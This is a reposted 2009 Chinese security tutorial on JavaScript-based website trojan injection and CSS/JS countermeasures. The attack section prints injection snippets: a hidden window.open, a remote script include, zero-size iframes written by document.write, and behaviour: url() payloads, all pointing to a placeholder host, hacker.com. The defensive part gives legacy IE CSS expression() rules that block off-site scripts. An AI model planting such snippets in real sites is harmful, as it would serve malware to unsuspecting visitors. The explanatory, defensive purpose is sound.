当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > 解析Java Script木马的攻与防

杀毒防毒
U盘(auto病毒)类病毒分析与解决方案
解析魔兽木马Trojan-PSW.Win32.WOW
绕过主动防御 木马病毒刺穿卡巴斯基
总结经典:木马十大藏身地点大搜查
手动清除 chcp.exe病毒 保护 MSN的安全
卡巴斯基KIS 7.0防火墙设置完全攻略
百毒不侵 如何以不变应万变预防病毒
病毒日新月异 六大反病毒技术亟待成熟
守住你的网站 防御DDoS攻击实用指南
提高诺顿杀毒软件速度的五则技巧
安全升级 新版迅雷杀毒方案之详解
病毒非电脑的专利 常见手机病毒分析
卡巴斯基8.0主要特性介绍(附激活码)
几大常见的手机杀毒软件试用横评
三种2008版杀毒软件七大主流功能横评
检测硬盘与内存中病毒痕迹的四种绝招
优化XP使卡巴斯基7.0单机版运行流畅
上网不再怕中毒 教你一招克死所有病毒
“色情终结者”病毒专删PC内色情电影
精心设置卡巴斯基 加快杀毒速度

杀毒防毒 中的 解析Java Script木马的攻与防


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 34 ::
收藏到网摘: n/a

  网站挂马如今已经成为黑客发起网络攻击的最主要方式之一,因此防范来自Web的安全威胁,显得格外重要,本文将介绍一些常见的JS挂马现象以及如何去应对。
  木马一直是黑客的拿手技量。善于用木马的黑客,可以在原来的入侵基础之上达到更大的目的。如今,虽然木马的种类有很多。但其中IFRAME挂马比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
  JS挂马溯源
  当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。
  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。
  小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。
  虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
  挂马原理一点通
  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。
  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
  JS挂马攻防实录
  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
  这种方法使用的关键代码如下:
  window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
  另外一种JS挂马方式是,黑客先将挂马脚本代码,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
  <script src="http://www.hacker.com/木马脚本.js"></script>
  或者
  document.write("<div style='display:none'>")
  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")
  就成功地将木马挂到了对方的网页中了。
  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:
  <div style="behaviour: url(http://www.hacker.com/木马脚本.js);">
  或者:
  <iframe src="vbscript:[挂马脚本]">
  等等……
  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
  <title>让JS挂马中止的CSS代码</title>
  <style type="text/css" id="shudoo">
  /*<![CDATA[*/
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>
  我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了,下次我们详细讨论。